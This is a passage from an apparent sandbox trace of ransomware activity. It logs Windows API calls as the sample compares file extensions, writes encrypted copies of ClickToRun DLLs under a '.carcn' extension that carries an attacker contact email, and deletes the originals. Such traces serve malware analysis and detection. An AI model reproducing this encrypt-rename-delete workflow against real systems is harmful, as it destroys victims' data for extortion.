shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 1 [0292.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.274] lstrlenW (lpString=".doc") returned 4 [0292.274] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.274] lstrlenW (lpString=".docx") returned 5 [0292.274] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.274] lstrlenW (lpString=".pdf") returned 4 [0292.274] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.274] lstrlenW (lpString=".xls") returned 4 [0292.274] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.274] lstrlenW (lpString=".xlsx") returned 5 [0292.274] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.274] lstrlenW (lpString=".ppt") returned 4 [0292.274] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.274] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.274] lstrlenW (lpString=".zip") returned 4 [0292.274] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.274] lstrlenW (lpString=".rar") returned 4 [0292.274] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.274] lstrlenW (lpString=".bz2") returned 4 [0292.275] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.275] lstrlenW (lpString=".7z") returned 3 [0292.275] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.275] lstrlenW (lpString=".dbf") returned 4 [0292.275] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.275] lstrlenW (lpString=".1cd") returned 4 [0292.275] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.275] lstrlenW (lpString=".jpg") returned 4 [0292.275] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.275] lstrlenW (lpString=".doc") returned 4 [0292.275] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.275] lstrlenW (lpString=".docx") returned 5 [0292.275] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.275] lstrlenW (lpString=".pdf") returned 4 [0292.275] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.275] lstrlenW (lpString=".xls") returned 4 [0292.275] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.275] lstrlenW (lpString=".xlsx") returned 5 [0292.275] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.275] lstrlenW (lpString=".ppt") returned 4 [0292.275] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.275] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.276] lstrlenW (lpString=".zip") returned 4 [0292.276] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.276] lstrlenW (lpString=".rar") returned 4 [0292.276] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.276] lstrlenW (lpString=".bz2") returned 4 [0292.276] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.276] lstrlenW (lpString=".7z") returned 3 [0292.276] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.276] lstrlenW (lpString=".dbf") returned 4 [0292.276] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.276] lstrlenW (lpString=".1cd") returned 4 [0292.276] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll") returned 90 [0292.276] lstrlenW (lpString=".jpg") returned 4 [0292.276] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.276] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.276] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0292.276] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0292.277] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=26816) returned 1 [0292.277] CloseHandle (hObject=0x350) returned 1 [0292.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0292.277] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.277] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0292.278] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.278] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0292.279] GetLastError () returned 0x0 [0292.279] ReadFile (in: hFile=0x350, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x68c0, lpOverlapped=0x0) returned 1 [0292.285] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x68d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x68d0, lpOverlapped=0x0) returned 1 [0292.286] ReadFile (in: hFile=0x350, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.286] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x11a, lpOverlapped=0x0) returned 1 [0292.287] SetEndOfFile (hFile=0x360) returned 1 [0292.287] CloseHandle (hObject=0x360) returned 1 [0292.287] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.287] SetEndOfFile (hFile=0x350) returned 1 [0292.288] CloseHandle (hObject=0x350) returned 1 [0292.288] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.288] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1 [0292.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.289] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.289] lstrlenW (lpString=".doc") returned 4 [0292.289] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.289] lstrlenW (lpString=".docx") returned 5 [0292.289] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.289] lstrlenW (lpString=".pdf") returned 4 [0292.289] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.289] lstrlenW (lpString=".xls") returned 4 [0292.289] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.290] lstrlenW (lpString=".xlsx") returned 5 [0292.290] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.290] lstrlenW (lpString=".ppt") returned 4 [0292.290] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.290] lstrlenW (lpString=".zip") returned 4 [0292.290] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.290] lstrlenW (lpString=".rar") returned 4 [0292.290] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.290] lstrlenW (lpString=".bz2") returned 4 [0292.290] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.290] lstrlenW (lpString=".7z") returned 3 [0292.290] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.290] lstrlenW (lpString=".dbf") returned 4 [0292.290] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.290] lstrlenW (lpString=".1cd") returned 4 [0292.290] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.290] lstrlenW (lpString=".jpg") returned 4 [0292.290] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.290] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.290] lstrlenW (lpString=".doc") returned 4 [0292.290] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.290] lstrlenW (lpString=".docx") returned 5 [0292.291] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.291] lstrlenW (lpString=".pdf") returned 4 [0292.291] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.291] lstrlenW (lpString=".xls") returned 4 [0292.291] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.291] lstrlenW (lpString=".xlsx") returned 5 [0292.291] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.291] lstrlenW (lpString=".ppt") returned 4 [0292.291] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.291] lstrlenW (lpString=".zip") returned 4 [0292.291] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.291] lstrlenW (lpString=".rar") returned 4 [0292.291] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.291] lstrlenW (lpString=".bz2") returned 4 [0292.291] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.291] lstrlenW (lpString=".7z") returned 3 [0292.291] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.291] lstrlenW (lpString=".dbf") returned 4 [0292.291] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.291] lstrlenW (lpString=".1cd") returned 4 [0292.291] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.291] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93 [0292.291] lstrlenW (lpString=".jpg") returned 4 [0292.291] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.292] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.292] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0292.292] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0292.292] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=70848) returned 1 [0292.292] CloseHandle (hObject=0x350) returned 1 [0292.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0292.292] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0292.293] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.293] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.293] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0292.294] GetLastError () returned 0x0 [0292.294] ReadFile (in: hFile=0x350, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x114c0, lpOverlapped=0x0) returned 1 [0292.657] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x114d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x114d0, lpOverlapped=0x0) returned 1 [0292.660] ReadFile (in: hFile=0x350, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.660] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x116, lpOverlapped=0x0) returned 1 [0292.660] SetEndOfFile (hFile=0x360) returned 1 [0293.174] CloseHandle (hObject=0x360) returned 1 [0293.175] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0293.175] SetEndOfFile (hFile=0x350) returned 1 [0293.176] CloseHandle (hObject=0x350) returned 1 [0293.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0293.176] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 1 [0293.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.177] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.177] lstrlenW (lpString=".doc") returned 4 [0293.177] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.177] lstrlenW (lpString=".docx") returned 5 [0293.177] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.177] lstrlenW (lpString=".pdf") returned 4 [0293.177] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.177] lstrlenW (lpString=".xls") returned 4 [0293.177] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.177] lstrlenW (lpString=".xlsx") returned 5 [0293.177] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.177] lstrlenW (lpString=".ppt") returned 4 [0293.177] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.178] lstrlenW (lpString=".zip") returned 4 [0293.178] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.178] lstrlenW (lpString=".rar") returned 4 [0293.178] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.178] lstrlenW (lpString=".bz2") returned 4 [0293.178] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.178] lstrlenW (lpString=".7z") returned 3 [0293.178] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.178] lstrlenW (lpString=".dbf") returned 4 [0293.178] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.178] lstrlenW (lpString=".1cd") returned 4 [0293.178] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.178] lstrlenW (lpString=".jpg") returned 4 [0293.178] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.178] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.178] lstrlenW (lpString=".doc") returned 4 [0293.178] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.178] lstrlenW (lpString=".docx") returned 5 [0293.178] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0293.178] lstrlenW (lpString=".pdf") returned 4 [0293.178] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.178] lstrlenW (lpString=".xls") returned 4 [0293.179] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.179] lstrlenW (lpString=".xlsx") returned 5 [0293.179] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0293.179] lstrlenW (lpString=".ppt") returned 4 [0293.179] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0293.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.179] lstrlenW (lpString=".zip") returned 4 [0293.179] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0293.179] lstrlenW (lpString=".rar") returned 4 [0293.179] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0293.179] lstrlenW (lpString=".bz2") returned 4 [0293.179] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0293.179] lstrlenW (lpString=".7z") returned 3 [0293.179] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0293.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.179] lstrlenW (lpString=".dbf") returned 4 [0293.179] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0293.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.179] lstrlenW (lpString=".1cd") returned 4 [0293.179] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0293.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll") returned 91 [0293.179] lstrlenW (lpString=".jpg") returned 4 [0293.179] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0293.180] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0293.180] lstrlenW (lpString="AppvIsvSubsystems64.dll") returned 23 [0293.180] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0293.180] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=2285736) returned 1 [0293.180] CloseHandle (hObject=0x350) returned 1 [0293.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 0x20 [0293.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0293.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 1 [0293.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0293.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0293.182] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[carcinoma24@aol.com].carcn"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0293.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll") returned 81 [0293.182] lstrlenW (lpString=".doc") returned 4 [0293.182] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0293.182] lstrlenW (lpString=".docx") returned 5 [0293.183] lstrcmpiW (lpString1=".docx", lpString2="4.dll") returned -1 [0293.183] lstrlenW (lpString=".pdf") returned 4 [0293.183] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0293.183] lstrlenW (lpString=".xls") returned 4 [0293.183] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0293.183] lstrlenW (lpString=".xlsx") returned 5 [0293.183] lstrcmpiW (lpString1=".xlsx", lpString2="4.dll") returned -1 [0293.183] lstrlenW (lpString=".ppt") returned 4 [0293.183] lstrcmpiW (lpString1=".ppt", 